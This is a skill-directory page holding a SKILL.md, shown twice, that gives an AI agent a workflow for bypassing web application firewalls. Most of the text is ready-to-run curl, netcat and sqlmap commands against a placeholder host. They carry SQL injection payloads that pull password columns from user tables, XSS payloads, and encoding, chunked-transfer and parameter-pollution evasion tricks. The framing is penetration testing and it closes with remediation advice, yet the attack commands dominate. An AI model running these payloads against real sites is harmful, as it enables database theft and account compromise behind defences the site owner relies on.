[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG4MVCWXYKFX080YXZMFKT":3,"skill-same:01M6AG4MVCWXYKFX080YXZMFKT":117},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":76,"commitSha":77,"skillDirectory":78,"forksCount":79,"repositoryHtmlUrl":80,"repositoryHomepageUrl":81,"ownerHtmlUrl":82,"ownerBlogUrl":83,"ownerDescription":84,"updatedAt":85,"install":86,"resources":99},"01M6AG4MVCWXYKFX080YXZMFKT","performing-web-application-firewall-bypass",null,"Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35884,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"performing web application firewall bypass","web","firewall","t1059","vulnerability","evasion","application-security","t1505","SQL-injection","xss","web-security","injection","security","web-application-security","red team","waf","pr","http","sql","cybersecurity","2026-11-10 10:12:30",false,"---\nname: performing-web-application-firewall-bypass\ndescription: Bypasses Web Application Firewall protections using encoding tricks,\n  HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle\n  SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when\n  a confirmed vulnerability is blocked by a WAF, during penetration tests or red\n  team engagements requiring bypass of perimeter security controls, or when evaluating\n  WAF rule effectiveness and bypass resistance.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- waf-bypass\n- waf-evasion\n- sql-injection\n- xss\n- payload-obfuscation\n- encoding-bypass\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=alert(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n","# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=alert(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n",{"name":5,"tags":57,"author":63,"domain":51,"license":15,"version":64,"nist_csf":65,"subdomain":45,"description":7,"mitre_attack":70},[58,59,60,41,61,62,42],"waf-bypass","waf-evasion","sql-injection","payload-obfuscation","encoding-bypass","mahipal","1.0",[66,67,68,69],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[71,72,73,74,75],"T1190","T1059.007","T1505.003","T1083","T1027","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-web-application-firewall-bypass",4379,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":87,"prompt":97,"zipAvailable":98},[88,91,94],{"tool":89,"command":90},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass",{"tool":92,"command":93},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass",{"tool":95,"command":96},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",true,[100,105,111],{"path":101,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FLICENSE",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"references\u002Fapi-reference.md","REFERENCE","参考文档",1788,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Freferences\u002Fapi-reference.md",{"path":112,"resourceType":113,"resourceTypeDesc":114,"sizeBytes":115,"sourceHtmlUrl":116},"scripts\u002Fagent.py","SCRIPT","脚本",6175,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Fscripts\u002Fagent.py",[118,143,167,195,221,247],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":125,"publishedAt":52},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[124],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[126,127,128,129,44,51,130,131,48,132,133,134,135,136,137,138,139,140,141,142],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":150,"publishedAt":52},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[149],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[151,139,152,153,44,154,51,48,155,156,157,158,159,160,161,162,163,164,165,166],"boot","TPM","validating tpm 